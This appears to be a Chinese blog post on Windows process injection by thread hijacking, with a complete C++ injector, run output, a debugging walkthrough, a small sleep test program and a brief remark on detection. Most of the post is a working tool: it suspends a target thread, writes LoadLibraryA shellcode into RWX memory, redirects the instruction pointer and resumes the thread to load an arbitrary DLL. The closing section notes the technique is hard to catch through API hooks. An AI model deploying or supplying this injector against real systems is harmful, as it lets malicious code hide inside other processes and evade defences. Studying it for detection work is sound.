windows进程注入技术——线程劫持C++示例和检测思考
线程劫持:运行方法
1 2 3 | C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe 18132 C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll Process ID: 18132 Injected! |
劫持效果:
劫持代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | #include <iostream> #include <Windows.h> #include <TlHelp32.h> #include <system_error> constexpr SIZE_T PAGE_SIZE = 1 << 12; /// <summary> /// Print the human-readable error message cause while execution of the function and exit if TRUE /// </summary> /// <param name="lpFunction">Function name caused error</param> /// <param name="bExit">Whether to exit after printing error or not (TRUE/FALSE)</param> VOID PrintError( LPCSTR lpFunction, BOOL bExit = FALSE) { DWORD dwErrorCode = GetLastError(); std::cout << "[" << dwErrorCode << "] " << lpFunction << ": " ; if (dwErrorCode == 0x0) { std::cout << "Undefined error\n" ; } else { std::cout << "error code:" << dwErrorCode << std::endl; } if (bExit) { ExitProcess(1); } } HANDLE GetFirstThead( DWORD dwPID) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0); HANDLE hThread = NULL; THREADENTRY32 te{}; te.dwSize = sizeof (THREADENTRY32); if (!Thread32First(hSnap, &te)) { CloseHandle(hSnap); return hThread; } do { if (te.th32OwnerProcessID == dwPID) { // SET_CONTEXT is used to change the values of the registers // GET_CONTEXT is used to retrieve the initial values of the registers // SUSPEND and RESUME are required because instruction pointer can not be changed for running thread hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID); if (hThread != NULL) { break ; } } } while (Thread32Next(hSnap, &te)); CloseHandle(hSnap); return hThread; } BOOL DoInjection( HANDLE hProcess, HANDLE hThread, LPCSTR lpDllPath) { #ifdef _WIN64 BYTE code[] = { // sub rsp, 28h 0x48, 0x83, 0xec, 0x28, // mov [rsp + 18], rax 0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp + 10h], rcx 0x48, 0x89, 0x4c, 0x24, 0x10, // mov rcx, 11111111111111111h 0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, // mov rax, 22222222222222222h 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, // call rax 0xff, 0xd0, // mov rcx, [rsp + 10h] 0x48, 0x8b, 0x4c, 0x24, 0x10, // mov rax, [rsp + 18h] 0x48, 0x8b, 0x44, 0x24, 0x18, // add rsp, 28h 0x48, 0x83, 0xc4, 0x28, // mov r11, 333333333333333333h 0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, // jmp r11 0x41, 0xff, 0xe3 }; #else BYTE code[] = { 0x60, 0x68, 0x11, 0x11, 0x11, 0x11, 0xb8, 0x22, 0x22, 0x22, 0x22, 0xff, 0xd0, 0x61, 0x68, 0x33, 0x33, 0x33, 0x33, 0xc3 }; #endif if (SuspendThread(hThread) == -1) { return FALSE; } LPVOID lpBuffer = VirtualAllocEx( hProcess, nullptr , PAGE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (lpBuffer == nullptr ) { ResumeThread(hThread); return FALSE; } CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_ALL; if (!GetThreadContext(hThread, &ctx)) { ResumeThread(hThread); return FALSE; } HMODULE hKernel32 = GetModuleHandleA( "kernel32.dll" ); if (hKernel32 == NULL) { ResumeThread(hThread); return FALSE; } LPVOID lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA" ); if (lpLoadLibraryA == NULL) { ResumeThread(hThread); return FALSE; } #ifdef _WIN64 * ( LPVOID *)(code + 0x10) = ( LPVOID )(( CHAR *)lpBuffer + (PAGE_SIZE / 2)); *( LPVOID *)(code + 0x1a) = lpLoadLibraryA; *( PLONGLONG )(code + 0x34) = ctx.Rip; #else * ( LPVOID *)(code + 2) = ( LPVOID )(( CHAR *)lpBuffer + (PAGE_SIZE / 2)); *( LPVOID *)(code + 7) = lpLoadLibraryA; *( PUINT )(code + 0xf) = ctx.Eip; #endif if (!WriteProcessMemory( hProcess, lpBuffer, code, sizeof (code), nullptr )) { ResumeThread(hThread); return FALSE; } if (!WriteProcessMemory( hProcess, ( CHAR *)lpBuffer + (PAGE_SIZE / 2), lpDllPath, strlen (lpDllPath), nullptr )) { ResumeThread(hThread); return FALSE; } #ifdef _WIN64 ctx.Rip = ( ULONGLONG )lpBuffer; #else ctx.Eip = ( DWORD )lpBuffer; #endif if (!SetThreadContext(hThread, &ctx)) { ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; } INT main( INT argc, CHAR ** argv) { // C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe pid C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll if (argc < 3) { std::cerr << "usage: " << argv[0] << " PID DLL_PATH\n" ; return 0x1; } std::cout << "Process ID: " << argv[1] << std::endl; DWORD dwPID = atoi (argv[1]); CHAR wzDllFullPath[MAX_PATH] = { 0 }; strcpy_s(wzDllFullPath, argv[2]); /* DWORD dwPID = 11740; CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll"; */ HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID); if (hProcess == nullptr ) { PrintError( "OpenProcess()" , TRUE); } HANDLE hThread = GetFirstThead(dwPID); if (hThread == NULL) { PrintError( "GetFirstThead()" , TRUE); } // wzDllFullPath = argv[2]; if (!DoInjection(hProcess, hThread, wzDllFullPath)) { PrintError( "DoInjection()" , TRUE); } std::cout << "Injected!\n" ; return 0x0; } |
DLL代码参考:https://www.cnblogs.com/bonelee/p/17705390.html
为了了解原理,我自己debug了下,因为dll路径不正确,导致劫持无效果,因此有了下面的调试过程:
先是被劫持后的exe内存情况,可以看到执行“劫持”代码的内存分配,其中1和2是关键!
对应下面shellcode:
2是程序劫持完以后要返回源程序!所以要修改rip:
但是代码执行完,
却没有实现真正的劫持效果:
不用记事本,我们单独写一个程序调试下:
写一个sleep程序,然后断点:
可以看到在没有运行resume thread前,sleep的程序果然挂住了!如上图所示。并且劫持的程序结束以后,sleep程序会继续正常向前运行。
为了找到问题所在:设置一个断点,然后执行完resume thread看看:
还是成功断住了!
跟进去调用dll的地方
可以看到确实是调用了该dll!但是为什么没有弹出messagebox呢?
并且动态加载的模块里也没有该dll:
怀疑是我的路径字符串出错。实际运行发现并没有问题:如下
我++,SB了,原来是我自己的DLL路径不对!!!更换正确的DLL路径即可实现劫持效果!
如下:
附下:
sleep调试进程代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | // sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <windows.h> #include <synchapi.h> #include <iostream> int main() { std::cout << "Hello World!\n" ; DWORD pid = GetCurrentProcessId(); std::cout << "当前进程的PID是: " << pid << std::endl; int i = 0; while (1) { SleepEx(3000, true ); std::cout << "You are done? " << i; i += 1; } std::cout << "Exit!\n" ; } |
检测:
可以看到是直接修改进程上下文,GetThreadContext、修改rip以后,然后SetThreadContext再resumethread,让其执行注入的shellcode!
所以这种劫持情况,上述几个os api的hook性价比有点低。检测起来也比较隐蔽。GG!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2020-09-19 理解未知威胁——是针对签名的防护来说,签名绕过太容易,需要基于行为提供泛化能力更强的检测算法(AI)==>已知的未知威胁+未知的未知威胁
2019-09-19 IPS检测
2017-09-19 IPS
2016-09-19 字符串匹配的sunday算法